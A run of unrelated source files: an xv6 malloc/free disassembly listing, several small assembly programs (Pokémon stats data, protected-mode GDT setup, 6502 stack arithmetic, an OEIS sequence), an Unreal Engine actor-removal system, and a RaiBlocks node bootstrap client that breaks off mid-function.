60a: 72 04 jb 610 <free+0x30> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 60c: 39 c8 cmp %ecx,%eax 60e: 72 f0 jb 600 <free+0x20> break; if(bp + bp->s.size == p->s.ptr){ 610: 8b 73 fc mov -0x4(%ebx),%esi 613: 8d 3c f2 lea (%edx,%esi,8),%edi 616: 39 cf cmp %ecx,%edi 618: 74 1e je 638 <free+0x58> bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; 61a: 89 4b f8 mov %ecx,-0x8(%ebx) if(p + p->s.size == bp){ 61d: 8b 48 04 mov 0x4(%eax),%ecx 620: 8d 34 c8 lea (%eax,%ecx,8),%esi 623: 39 f2 cmp %esi,%edx 625: 74 28 je 64f <free+0x6f> p->s.size += bp->s.size; p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; 627: 89 10 mov %edx,(%eax) freep = p; 629: a3 10 0a 00 00 mov %eax,0xa10 } 62e: 5b pop %ebx 62f: 5e pop %esi 630: 5f pop %edi 631: 5d pop %ebp 632: c3 ret 633: 90 nop 634: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ bp->s.size += p->s.ptr->s.size; 638: 03 71 04 add 0x4(%ecx),%esi 63b: 89 73 fc mov %esi,-0x4(%ebx) bp->s.ptr = p->s.ptr->s.ptr; 63e: 8b 08 mov (%eax),%ecx 640: 8b 09 mov (%ecx),%ecx 642: 89 4b f8 mov %ecx,-0x8(%ebx) } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ 645: 8b 48 04 mov 0x4(%eax),%ecx 648: 8d 34 c8 lea (%eax,%ecx,8),%esi 64b: 39 f2 cmp %esi,%edx 64d: 75 d8 jne 627 <free+0x47> p->s.size += bp->s.size; 64f: 03 4b fc add -0x4(%ebx),%ecx p->s.ptr = bp->s.ptr; } else p->s.ptr = bp; freep = p; 652: a3 10 0a 00 00 mov %eax,0xa10 bp->s.size += p->s.ptr->s.size; bp->s.ptr = p->s.ptr->s.ptr; } else bp->s.ptr = p->s.ptr; if(p + p->s.size == bp){ p->s.size += bp->s.size; 657: 89 48 04 mov %ecx,0x4(%eax) p->s.ptr = bp->s.ptr; 65a: 8b 53 f8 mov -0x8(%ebx),%edx 65d: 89 10 mov %edx,(%eax) } else p->s.ptr = bp; freep = p; } 65f: 5b pop %ebx 660: 5e pop %esi 661: 5f pop %edi 662: 5d pop %ebp 663: c3 ret 664: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 66a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 00000670 <malloc>: return freep; } void* malloc(uint nbytes) { 670: 55 push %ebp 671: 89 e5 mov %esp,%ebp 673: 57 push %edi 674: 56 push %esi 675: 53 push %ebx 676: 83 ec 1c sub $0x1c,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 679: 8b 45 08 mov 0x8(%ebp),%eax if((prevp = freep) == 0){ 67c: 8b 1d 10 0a 00 00 mov 0xa10,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 682: 8d 48 07 lea 0x7(%eax),%ecx 685: c1 e9 03 shr $0x3,%ecx if((prevp = freep) == 0){ 688: 85 db test %ebx,%ebx malloc(uint nbytes) { Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 68a: 8d 71 01 lea 0x1(%ecx),%esi if((prevp = freep) == 0){ 68d: 0f 84 9b 00 00 00 je 72e <malloc+0xbe> 693: 8b 13 mov (%ebx),%edx 695: 8b 7a 04 mov 0x4(%edx),%edi base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 698: 39 fe cmp %edi,%esi 69a: 76 64 jbe 700 <malloc+0x90> 69c: 8d 04 f5 00 00 00 00 lea 0x0(,%esi,8),%eax morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6a3: bb 00 80 00 00 mov $0x8000,%ebx 6a8: 89 45 e4 mov %eax,-0x1c(%ebp) 6ab: eb 0e jmp 6bb <malloc+0x4b> 6ad: 8d 76 00 lea 0x0(%esi),%esi nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 6b0: 8b 02 mov (%edx),%eax if(p->s.size >= nunits){ 6b2: 8b 78 04 mov 0x4(%eax),%edi 6b5: 39 fe cmp %edi,%esi 6b7: 76 4f jbe 708 <malloc+0x98> 6b9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6bb: 3b 15 10 0a 00 00 cmp 0xa10,%edx 6c1: 75 ed jne 6b0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6c3: 8b 45 e4 mov -0x1c(%ebp),%eax 6c6: 81 fe 00 10 00 00 cmp $0x1000,%esi 6cc: bf 00 10 00 00 mov $0x1000,%edi 6d1: 0f 43 fe cmovae %esi,%edi 6d4: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 6d7: 89 04 24 mov %eax,(%esp) 6da: e8 4b fc ff ff call 32a <sbrk> if(p == (char*)-1) 6df: 83 f8 ff cmp $0xffffffff,%eax 6e2: 74 18 je 6fc <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 6e4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 6e7: 83 c0 08 add $0x8,%eax 6ea: 89 04 24 mov %eax,(%esp) 6ed: e8 ee fe ff ff call 5e0 <free> return freep; 6f2: 8b 15 10 0a 00 00 mov 0xa10,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 6f8: 85 d2 test %edx,%edx 6fa: 75 b4 jne 6b0 <malloc+0x40> return 0; 6fc: 31 c0 xor %eax,%eax 6fe: eb 20 jmp 720 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 700: 89 d0 mov %edx,%eax 702: 89 da mov %ebx,%edx 704: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 708: 39 fe cmp %edi,%esi 70a: 74 1c je 728 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 70c: 29 f7 sub %esi,%edi 70e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 711: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 714: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 717: 89 15 10 0a 00 00 mov %edx,0xa10 return (void*)(p + 1); 71d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 720: 83 c4 1c add $0x1c,%esp 723: 5b pop %ebx 724: 5e pop %esi 725: 5f pop %edi 726: 5d pop %ebp 727: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 728: 8b 08 mov (%eax),%ecx 72a: 89 0a mov %ecx,(%edx) 72c: eb e9 jmp 717 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 72e: c7 05 10 0a 00 00 14 movl $0xa14,0xa10 735: 0a 00 00 base.s.size = 0; 738: ba 14 0a 00 00 mov $0xa14,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 73d: c7 05 14 0a 00 00 14 movl $0xa14,0xa14 744: 0a 00 00 base.s.size = 0; 747: c7 05 18 0a 00 00 00 movl $0x0,0xa18 74e: 00 00 00 751: e9 46 ff ff ff jmp 69c <malloc+0x2c>
db 0 ; species ID placeholder db 75, 80, 70, 90, 65, 75 ; hp atk def spd sat sdf db POISON, FLYING ; type db 90 ; catch rate db 171 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/golbat/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_FLYING, EGG_FLYING ; egg groups ; tm/hm learnset tmhm CURSE, TOXIC, HIDDEN_POWER, SUNNY_DAY, SNORE, HYPER_BEAM, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SWIFT, DETECT, REST, ATTRACT, THIEF, STEEL_WING ; end
.data Fibonacci BYTE 1, 1, 10 DUP (?) .code main PROC L1: mov esi, OFFSET Fibonacci ; offset the variables mov ebx,1 ; byte format mov ecx, SIZEOF Fibonacci ; counter call dumpMem ; display the data in the memory exit ;exits to Operating System main ENDP END main
#include "Multiplayer/Systems/Persistent/MultiplayerKillActorsSystem.h" #include "Systems/Public/SystemsWorld.h" #include "Multiplayer/Resources/MultiplayerCommands.h" void MultiplayerKillActorsSystem(USystemsWorld& Systems) { auto* Commands = Systems.Resource<UMultiplayerCommands>(); if (IsValid(Commands) == false) { return; } AActor* Actor = nullptr; while (Commands->RequestedActorsToKill.Dequeue(Actor)) { if (IsValid(Actor)) { Actor->Destroy(); } } }
SECTION code_driver PUBLIC _asci1_pollc EXTERN asm_asci1_pollc defc _asci1_pollc = asm_asci1_pollc EXTERN asm_asci1_need defc NEED = asm_asci1_need
;code switch to protected mode [bits 16] switch_to_protected: cli ; disable int lgdt[gdt_start.size] ; load the idt into the memory mov eax, cr0 or al, 1 ; switch flag true mov cr0, eax jmp 08h:protected_mod_init ; far jump to code ret [bits 32] protected_mod_init: mov ax,gdt_start.gdt_data_descriptor mov ds,ax mov es,ax mov ss,ax mov fs,ax mov gs,ax mov esp,0x7c00 mov ebp,esp call protected_mode gdt_start: .gdt_data: dd 0x0 ; 8 bytes of null descriptor dd 0x0 ;-----------------------------; .gdt_code_descriptor: equ $ - gdt_start dw 0xFFFF ; limit low dw 0x0 ;base low db 0x0 ; base middle db 10011010b ; access db 11001111b ; granularity db 0x0 .gdt_data_descriptor: equ $ - gdt_start dw 0xFFFF ; limit low dw 0 db 0 db 10010010b db 11001111b db 0 .gdt_user_code: equ $ - gdt_start dw 0xFFFF dw 0x0 db 0x0 db 11111010b db 11001111b db 0x0 .gdt_user_data: equ $ - gdt_start dw 0xFFFF dw 0x0 db 0x0 db 11110010b db 11001111b db 0x0 .gdt_tss_entry: equ $ - gdt_start dw 0xFFFF ;limit low 0:15 dw 0x0; base low 0:15 db 0x0 ;base 16:23 db 11101001b ; access db 11001111b ; 4 last bits is limit 16:19 db 0x0; another base 24:31 .end_of_gdt: .size: dw .end_of_gdt - .gdt_data - 1 dd .gdt_data
; A232600: a(n) = Sum_{k=0..n} k^p*q^k, where p=1, q=-2. ; 0,-2,6,-18,46,-114,270,-626,1422,-3186,7054,-15474,33678,-72818,156558,-334962,713614,-1514610,3203982,-6757490,14214030,-29826162,62448526,-130489458,272163726,-566697074,1178133390,-2445745266,5070447502,-10498808946,21713445774,-44858547314,92580406158,-190887435378,393228116878,-809362726002,1664538436494,-3420702841970,7024657621902,-14415819119730,29564645991310,-60595307486322,124122645980046,-254109353974898,519946831979406,-1063349912018034,2173612320154510,-4441049632545906,9069749249565582,-18514798468078706,37780196874052494,-77061593623895154,157125586999370638,-320255973501901938,652521546010125198,-1329062290032893042,2706162976091071374,-5508402744232713330,11208959072566567822,-22802225313335417970,46373064963075400590,-94283358598959930482,191641174543538119566,-389431263778312756338,791160356939098547086,-1606916372643143162994,3263024062816178463630,-6624430760692141202546,13445626791503850955662,-27284784123246839012466,55356629326971952227214,-112287380814900452858994,227723005951714002527118,-461742500547254198672498,936077978382160784581518,-1897341911339626343636082,3845055731829862236218254,-7790855281960943570328690,15783198200524325336441742,-31969371674253527064452210,64744693894916806912041870,-131101288882653119390358642,265426379950945249913267086,-537300364273168522091633778,1087495937288893088713466766,-2200782292062898266487331954,4453145419096020711095460750,-9009452508132489778432515186,18225228356145876269348217742,-36863103392053545963662810226,74551500143630678777258369934,-150753587006308531254382238834,304808347450711409908495475598,-616219041777611514616452947058,1245642777307600418831829885838,-2517694942119955616861507755122,5088208659249420792118711477134,-10282054868517860701028814888050,20775384837073759635640413643662,-41973319874223595738446395022450 mov $3,$0 lpb $3 mul $0,2 mov $2,$0 sub $3,1 mov $0,$3 sub $0,$2 lpe
; ****************************************************************************** ; ****************************************************************************** ; ; Name : binary.asm ; Purpose : Simple Binary Functions ; Author : Paul Robson (paul@robsons.org.uk) ; Created : 12th November 2019 ; ; ****************************************************************************** ; ****************************************************************************** ; ****************************************************************************** ; ; Add top two values ; ; ****************************************************************************** Stack_Add: ;; [+] StartCommand dex clc lda lowStack,x adc lowStack+1,x sta lowStack,x ; lda highStack,x adc highStack+1,x sta highStack,x NextCommand ; ****************************************************************************** ; ; Sub top two values ; ; ****************************************************************************** Stack_Sub: ;; [-] StartCommand dex sec lda lowStack,x sbc lowStack+1,x sta lowStack,x ; lda highStack,x sbc highStack+1,x sta highStack,x NextCommand ; ****************************************************************************** ; ; And top two values ; ; ****************************************************************************** Stack_And: ;; [and] StartCommand dex lda lowStack,x and lowStack+1,x sta lowStack,x ; lda highStack,x and highStack+1,x sta highStack,x NextCommand ; ****************************************************************************** ; ; Xor top two values ; ; ****************************************************************************** Stack_Xor: ;; [xor] StartCommand dex lda lowStack,x eor lowStack+1,x sta lowStack,x ; lda highStack,x eor highStack+1,x sta highStack,x NextCommand ; ****************************************************************************** ; ; Or top two values ; ; ****************************************************************************** Stack_Or: ;; [or] StartCommand dex lda lowStack,x ora lowStack+1,x sta lowStack,x ; lda highStack,x ora highStack+1,x sta highStack,x NextCommand ; ****************************************************************************** ; ; Shift left/right multiple times ; ; ****************************************************************************** Stack_Shl: ;; [shl] StartCommand sec bra StackShift Stack_Shr: ;; [shr] StartCommand clc StackShift: php dex lda lowStack+1,x ; if the shift >= 32 and #$E0 ; going to be zero. ora highStack+1,x bne _SSZero ; _SSLoop: dec lowStack+1,x ; dec check count bmi _SSDone ; completed ? plp ; restore flag php bcs _SSLeft ; do either shift. lsr highStack,x ror lowStack,x bra _SSLoop _SSLeft: asl lowStack,x rol highStack,x bra _SSLoop ; _SSZero: ; zero TOS stz lowStack,x ; too many shifts. stz highStack,x _SSDone: plp ; throw flag. NextCommand
#include <rai/node/bootstrap.hpp> #include <rai/node/node.hpp> std::chrono::seconds constexpr rai::Bootstrap::BOOTSTRAP_INTERVAL; namespace { size_t BootstrapMessageSize() { static std::atomic<size_t> size(0); if (size > 0) { return size; } rai::BootstrapMessage message(rai::BootstrapType::FULL, rai::Account(), 0, 0); std::vector<uint8_t> bytes; message.ToBytes(bytes); size = bytes.size(); return size; } } // namespace void rai::BootstrapAccount::Serialize(rai::Stream& stream) const { rai::Write(stream, account_.bytes); rai::Write(stream, head_.bytes); rai::Write(stream, height_); } void rai::BootstrapAccount::ToBytes(std::vector<uint8_t>& bytes) const { rai::VectorStream stream(bytes); Serialize(stream); } rai::ErrorCode rai::BootstrapAccount::Deserialize(rai::Stream& stream) { bool error = rai::Read(stream, account_.bytes); if (error) { rai::Stats::AddDetail(rai::ErrorCode::STREAM, "BootstrapAccount::Deserialize::account"); return rai::ErrorCode::STREAM; } error = rai::Read(stream, head_.bytes); if (error) { rai::Stats::AddDetail(rai::ErrorCode::STREAM, "BootstrapAccount::Deserialize::head"); return rai::ErrorCode::STREAM; } error = rai::Read(stream, height_); if (error) { rai::Stats::AddDetail(rai::ErrorCode::STREAM, "BootstrapAccount::Deserialize::height"); return rai::ErrorCode::STREAM; } return rai::ErrorCode::SUCCESS; } size_t rai::BootstrapAccount::Size() { static size_t size = 0; if (size > 0) { return size; } rai::BootstrapAccount account; std::vector<uint8_t> bytes; account.ToBytes(bytes); size = bytes.size(); return size; } void rai::BootstrapFork::Serialize(rai::Stream& stream) const { rai::Write(stream, length_); if (length_ > 0 && first_ != nullptr && second_ != nullptr) { first_->Serialize(stream); second_->Serialize(stream); } } void rai::BootstrapFork::ToBytes(std::vector<uint8_t>& bytes) const { rai::VectorStream stream(bytes); Serialize(stream); } rai::BootstrapClient::BootstrapClient( const std::shared_ptr<rai::Socket>& socket, const rai::TcpEndpoint& endpoint, rai::BootstrapType type) : endpoint_(endpoint), socket_(socket), next_(rai::Account(0)), next_height_(0), type_(type), connected_(false), finished_(false), total_(0), accounts_size_(0), forks_size_(0), time_span_(0) { send_buffer_.reserve(rai::BootstrapClient::BUFFER_SIZE_); receive_buffer_.resize(rai::BootstrapClient::BUFFER_SIZE_); } rai::ErrorCode rai::BootstrapClient::Connect() { if (connected_) { return rai::ErrorCode::SUCCESS; } error_code_ = rai::ErrorCode::SUCCESS; promise_ = std::promise<bool>(); std::future<bool> future = promise_.get_future(); std::shared_ptr<rai::BootstrapClient> this_s(shared_from_this()); socket_->AsyncConnect(endpoint_, [this_s](const boost::system::error_code& ec) { this_s->ConnectCallback(ec); }); future.get(); if (error_code_ == rai::ErrorCode::SUCCESS) { connected_ = true; } return error_code_; } bool rai::BootstrapClient::Finished() const { return finished_; } rai::ErrorCode rai::BootstrapClient::Run() { rai::ErrorCode error_code = Connect(); if (error_code != rai::ErrorCode::SUCCESS) { rai::Stats::AddDetail(error_code, "Failed to connect to ", endpoint_); return error_code; } error_code_ = rai::ErrorCode::SUCCESS; promise_ = std::promise<bool>(); std::future<bool> future = promise_.get_future(); std::shared_ptr<rai::BootstrapClient> this_s(shared_from_this()); rai::BootstrapMessage message(type_, next_, next_height_, MaxSize_()); send_buffer_.clear(); message.ToBytes(send_buffer_); socket_->AsyncWrite( send_buffer_, [this_s](const boost::system::error_code& ec, size_t size) { this_s->WriteCallback(ec, size); }); future.get(); IF_NOT_SUCCESS_RETURN(error_code_); curr_size_ = 0; continue_ = true; auto start = std::chrono::high_resolution_clock::now(); while (true) { IF_NOT_SUCCESS_RETURN(error_code_); if (finished_ || continue_ == false) { total_ += curr_size_; auto end = std::chrono::high_resolution_clock::now(); time_span_ += std::chrono::duration_cast<std::chrono::milliseconds>( end - start) .count(); return rai::ErrorCode::SUCCESS; } if (type_ == rai::BootstrapType::FULL || type_ == rai::BootstrapType::LIGHT) { promise_ = std::promise<bool>(); future = promise_.get_future(); socket_->AsyncRead( receive_buffer_, rai::BootstrapAccount::Size(), [this_s](const boost::system::error_code& ec, size_t size) { this_s->ReadAccount(ec, size); }); future.get(); } else if (type_ == rai::BootstrapType::FORK) { promise_ = std::promise<bool>(); future = promise_.get_future(); socket_->AsyncRead( receive_buffer_, sizeof(forks_[0].length_), [this_s](const boost::system::error_code& ec, size_t size) { this_s->ReadForkLength(ec, size); }); future.get(); IF_NOT_SUCCESS_RETURN(error_code_); if (finished_ || continue_ == false) { continue; } if (forks_[curr_size_].length_ > 0) { promise_ = std::promise<bool>(); future = promise_.get_future(); socket_->AsyncRead( receive_buffer_, forks_[curr_size_].length_, [this_s](const boost::system::error_code& ec, size_t size) { this_s->ReadForkBlocks(ec, size); }); future.get(); } } else { return rai::ErrorCode::BOOTSTRAP_TYPE; } } } rai::ErrorCode rai::BootstrapClient::Pause() { if (connected_) { error_code_ = rai::ErrorCode::SUCCESS; promise_ = std::promise<bool>(); std::future<bool> future = promise_.get_future(); std::shared_ptr<rai::BootstrapClient> this_s(shared_from_this()); rai::BootstrapMessage message(type_, next_, next_height_, 0); send_buffer_.clear(); message.ToBytes(send_buffer_); socket_->AsyncWrite( send_buffer_, [this_s](const boost::system::error_code& ec, size_t size) { this_s->WriteCallback(ec, size); }); future.get(); IF_NOT_SUCCESS_RETURN(error_code_); } std::this_thread::sleep_for(std::chrono::seconds(1)); return rai::ErrorCode::SUCCESS; } void rai::BootstrapClient::ConnectCallback(const boost::system::error_code& ec) { error_code_ = ec ? rai::ErrorCode::BOOTSTRAP_CONNECT : rai::ErrorCode::SUCCESS; promise_.set_value(true); } void rai::BootstrapClient::WriteCallback(const boost::system::error_code& ec, size_t size) { if (ec || size == 0) { error_code_ = rai::ErrorCode::BOOTSTRAP_SEND; } else { error_code_ = rai::ErrorCode::SUCCESS; } promise_.set_value(true); } void rai::BootstrapClient::ReadAccount(const boost::system::error_code& ec, size_t size) { do { if (ec) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail( error_code_, "BootstrapClient::ReadAccount: ec=", ec.message()); break; } if (size != rai::BootstrapAccount::Size()) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail(error_code_, "BootstrapClient::ReadAccount: bad size=", size); break; } rai::BufferStream stream(receive_buffer_.data(), size); rai::BootstrapAccount account; error_code_ = account.Deserialize(stream); if (error_code_ != rai::ErrorCode::SUCCESS) { break; } if (account.height_ == rai::Block::INVALID_HEIGHT) { if (curr_size_ == 0) { finished_ = true; } continue_ = false; accounts_size_ = curr_size_; break; } if (account.account_ < next_) { error_code_ = rai::ErrorCode::BOOTSTRAP_ACCOUNT; break; } if (curr_size_ >= MaxSize_()) { error_code_ = rai::ErrorCode::BOOTSTRAP_SIZE; break; } accounts_[curr_size_++] = account; next_ = account.account_ + 1; } while (0); promise_.set_value(true); } void rai::BootstrapClient::ReadForkLength(const boost::system::error_code& ec, size_t size) { do { if (ec) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail( error_code_, "BootstrapClient::ReadForkLength: ec=", ec.message()); break; } auto length = forks_[0].length_; if (size != sizeof(length)) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail( error_code_, "BootstrapClient::ReadForkLength: bad size=", size); break; } rai::BufferStream stream(receive_buffer_.data(), size); bool error = rai::Read(stream, length); if (error) { error_code_ = rai::ErrorCode::STREAM; rai::Stats::AddDetail(error_code_, "BootstrapClient::ReadForkLength"); break; } if (length > rai::BootstrapClient::BUFFER_SIZE_) { error_code_ = rai::ErrorCode::BOOTSTRAP_FORK_LENGTH; break; } if (length == 0) { if (curr_size_ == 0) { finished_ = true; } continue_ = false; forks_size_ = curr_size_; break; } if (curr_size_ >= MaxSize_()) { error_code_ = rai::ErrorCode::BOOTSTRAP_SIZE; break; } forks_[curr_size_].length_ = length; } while (0); promise_.set_value(true); } void rai::BootstrapClient::ReadForkBlocks(const boost::system::error_code& ec, size_t size) { do { if (ec) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail( error_code_, "BootstrapClient::ReadForkBlocks: ec=", ec.message()); break; } if (size != forks_[curr_size_].length_) { error_code_ = rai::ErrorCode::BOOTSTRAP_RECEIVE; rai::Stats::AddDetail( error_code_, "BootstrapClient::ReadForkBlocks: bad size=", size); break; } rai::BufferStream stream(receive_buffer_.data(), size); std::shared_ptr<rai::Block> first = rai::DeserializeBlock(error_code_, stream); if (error_code_ != rai::ErrorCode::SUCCESS) { rai::Stats::AddDetail(error_code_, "BootstrapClient::ReadForkBlocks::first"); break; } std::shared_ptr<rai::Block> second = rai::DeserializeBlock(error_code_, stream); if (error_code_ != rai::ErrorCode::SUCCESS) { rai::Stats::AddDetail(error_code_, "BootstrapClient::ReadForkBlocks::second"); break; } if (first == nullptr || second == nullptr) { error_code_ = rai::ErrorCode::STREAM; break; } if (!first->ForkWith(*second) || first->Account() < next_) { error_code_ = rai::ErrorCode::BOOTSTRAP_FORK_BLOCK; break; } if (curr_size_ > 0 && first->Account() == next_ && first->Height() <= forks_[curr_size_ - 1].first_->Height()) { error_code_ = rai::ErrorCode::BOOTSTRAP_FORK_BLOCK; break; } forks_[curr_size_].first_ = first; forks_[curr_size_].second_ = second; ++curr_size_; if (first->Height() < std::numeric_limits<uint64_t>::max()) { next_ = first->Account(); next_height_ = first->Height() + 1; } else { next_ = first->Account() + 1; next_height_ = 0; } } while (0); promise_.set_value(true); } size_t rai::BootstrapClient::Size() const { if (type_ == rai::BootstrapType::FULL || type_ == rai::BootstrapType::LIGHT) { return accounts_size_; } else if (type_ == rai::BootstrapType::FORK) { return forks_size_; } else { return 0; } } size_t rai::BootstrapClient::Total() const { return total_; } uint64_t rai::BootstrapClient::TimeSpan() const { return time_span_ / 1000; } const std::array<rai::BootstrapAccount, rai::BootstrapClient::MAX_ACCOUNTS>& rai::BootstrapClient::Accounts() const { return accounts_; } const std::array<rai::BootstrapFork, rai::BootstrapClient::MAX_FORKS>& rai::BootstrapClient::Forks() const { return forks_; } uint16_t rai::BootstrapClient::MaxSize_() const { size_t size = 0; if (type_ == rai::BootstrapType::FULL || type_ == rai::BootstrapType::LIGHT) { size = rai::BootstrapClient::MAX_ACCOUNTS; } else if (type_ == rai::BootstrapType::FORK) { size = rai::BootstrapClient::MAX_FORKS; } else { assert(0); } return static_cast<uint16_t>(size); } rai::Bootstrap::Bootstrap(rai::Node& node) : node_(node), stopped_(false), waiting_(false), count_(0), last_time_(std::chrono::steady_clock::duration::zero()), thread_([this]() { this->Run(); }) { } rai::Bootstrap::~Bootstrap() { Stop(); } uint32_t rai::Bootstrap::Count() const { return count_; } bool rai::Bootstrap::WaitingSyncer() const { return waiting_; } void rai::Bootstrap::Run() { while (!stopped_) { auto now = std::chrono::steady_clock::now(); if (count_ >= rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS && now < last_time_ + rai::Bootstrap::BOOTSTRAP_INTERVAL) { std::this_thread::sleep_for(std::chrono::seconds(5)); continue; } rai::ErrorCode error_code = rai::ErrorCode::SUCCESS; if (count_ < rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS || 0 == count_ % rai::Bootstrap::FULL_BOOTSTRAP_INTERVAL) { error_code = RunFull_(); } else { error_code = RunLight_(); } if (count_ == rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS || (count_ > 0 && 0 == count_ % rai::Bootstrap::FULL_BOOTSTRAP_INTERVAL)) { if (error_code == rai::ErrorCode::SUCCESS) { error_code = RunFork_(); } } if (error_code == rai::ErrorCode::SUCCESS) { // stat last_time_ = now; ++count_; if (count_ <= rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS) { Wait_(); if (count_ == rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS) { node_.SetStatus(rai::NodeStatus::RUN); } } } else { rai::Stats::Add(error_code, "Bootstrap::Run"); std::this_thread::sleep_for(std::chrono::seconds(5)); } } } void rai::Bootstrap::Stop() { stopped_ = true; if (thread_.joinable()) { thread_.join(); } } void rai::Bootstrap::Restart() { count_ = 0; } bool rai::Bootstrap::UnderAttack() const { rai::SyncStat stat = node_.syncer_.Stat(); if (stat.total_ < 10240) { return false; } if (stat.miss_ > stat.total_ / 2) { return true; } return false; } void rai::Bootstrap::SyncGenesisAccount_() { rai::ErrorCode error_code = rai::ErrorCode::SUCCESS; rai::Transaction transaction(error_code, node_.ledger_, false); IF_NOT_SUCCESS_RETURN_VOID(error_code); rai::Account account = node_.genesis_.block_->Account(); rai::AccountInfo account_info; bool error = node_.ledger_.AccountInfoGet(transaction, account, account_info); if (error || !account_info.Valid()) { node_.syncer_.Add(account, 0, false, count_); } else { node_.syncer_.Add(account, account_info.head_height_ + 1, account_info.head_, false, count_); } } rai::ErrorCode rai::Bootstrap::RunFull_() { boost::optional<rai::Peer> peer = node_.peers_.RandomPeer(); if (!peer) { return rai::ErrorCode::BOOTSTRAP_PEER; } uint32_t count = count_; if (count < rai::Bootstrap::INITIAL_FULL_BOOTSTRAPS) { node_.SetStatus(rai::NodeStatus::SYNC); } SyncGenesisAccount_(); node_.syncer_.ResetStat(); std::shared_ptr<rai::Socket> socket = std::make_shared<rai::Socket>(node_.Shared()); std::shared_ptr<rai::BootstrapClient> client = std::make_shared<rai::BootstrapClient>(socket, peer->TcpEndpoint(), rai::BootstrapType::FULL); while (true) { if (stopped_) { return rai::ErrorCode::SUCCESS; } if (count != count_) { return rai::ErrorCode::BOOTSTRAP_RESET; } if (UnderAttack()) { return rai::ErrorCode::BOOTSTRAP_ATTACK; } if (client->TimeSpan() >= 10 && client->Total() / client->TimeSpan() < 1000) { return rai::ErrorCode::BOOTSTRAP_SLOW_CONNECTION; } if (node_.Busy()) { rai::ErrorCode error_code = client->Pause(); IF_NOT_SUCCESS_RETURN(error_code); continue; } rai::ErrorCode error_code = client->Run(); IF_NOT_SUCCESS_RETURN(error_code); rai::Transaction transaction(error_code, node_.ledger_, false); IF_NOT_SUCCESS_RETURN(error_code); auto data = client->Accounts(); for (size_t i = 0; i < client->Size(); ++i) { StartSync_(transaction, data[i], count); } if (client->Finished()) { return rai::ErrorCode::SUCCESS; } } } rai::ErrorCode rai::Bootstrap::RunLight_() { boost::optional<rai::Peer> peer = node_.peers_.RandomPeer(); if (!peer) { return rai::ErrorCode::BOOTSTRAP_PEER; } node_.syncer_.ResetStat(); std::shared_ptr<rai::Socket> socket = std::make_shared<rai::Socket>(node_.Shared()); std::shared_ptr<rai::BootstrapClient> client = std::make_shared<rai::BootstrapClient>(socket, peer->TcpEndpoint(), rai::BootstrapType::LIGHT); uint32_t count = count_; while (true) { if (stopped_) { return 